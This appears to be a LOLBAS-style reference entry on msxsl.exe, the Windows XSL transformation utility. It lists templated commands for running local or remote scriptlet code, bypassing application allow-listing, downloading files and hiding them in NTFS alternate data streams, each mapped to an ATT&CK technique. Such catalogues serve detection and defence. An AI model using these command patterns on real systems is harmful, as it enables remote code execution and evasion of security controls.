.. /msxsl.exe
Star

Execute (XSL, Remote)
AWL bypass (XSL, Remote)
Download
Alternate data streams

Command line utility used to perform XSL transformations.

Paths:

Resources:

Acknowledgements:

Detections:

Execute

  1. Run COM Scriptlet code within the script.xsl file (local).

    msxsl.exe {PATH:.xml} {PATH:.xsl}
    Use case

    Local execution of script stored in XSL file.

    Privileges required
    User
    Operating systems
    Windows
    ATT&CK® technique
    T1220
    Tags
    Execute: XSL

  2. Run COM Scriptlet code within the shellcode.xml(xsl) file (remote).

    msxsl.exe {REMOTEURL:.xml} {REMOTEURL:.xsl}
    Use case

    Local execution of remote script stored in XSL script stored as an XML file.

    Privileges required
    User
    Operating systems
    Windows
    ATT&CK® technique
    T1220
    Tags
    Execute: XSL
    Execute: Remote

AWL bypass

  1. Run COM Scriptlet code within the script.xsl file (local).

    msxsl.exe {PATH:.xml} {PATH:.xsl}
    Use case

    Local execution of script stored in XSL file.

    Privileges required
    User
    Operating systems
    Windows
    ATT&CK® technique
    T1220
    Tags
    Execute: XSL

  2. Run COM Scriptlet code within the shellcode.xml(xsl) file (remote).

    msxsl.exe {REMOTEURL:.xml} {REMOTEURL:.xml}
    Use case

    Local execution of remote script stored in XSL script stored as an XML file.

    Privileges required
    User
    Operating systems
    Windows
    ATT&CK® technique
    T1220
    Tags
    Execute: XSL
    Execute: Remote

Download

  1. Using remote XML and XSL files, save the transformed XML file to disk.

    msxsl.exe {REMOTEURL:.xml} {REMOTEURL:.xsl} -o {PATH}
    Use case

    Download a file from the internet and save it to disk.

    Privileges required
    User
    Operating systems
    Windows
    ATT&CK® technique
    T1105

Alternate data streams

  1. Using remote XML and XSL files, save the transformed XML file to an Alternate Data Stream (ADS).

    msxsl.exe {REMOTEURL:.xml} {REMOTEURL:.xsl} -o {PATH}:ads-name
    Use case

    Download a file from the internet and save it to an NTFS Alternate Data Stream.

    Privileges required
    User
    Operating systems
    Windows
    ATT&CK® technique
    T1564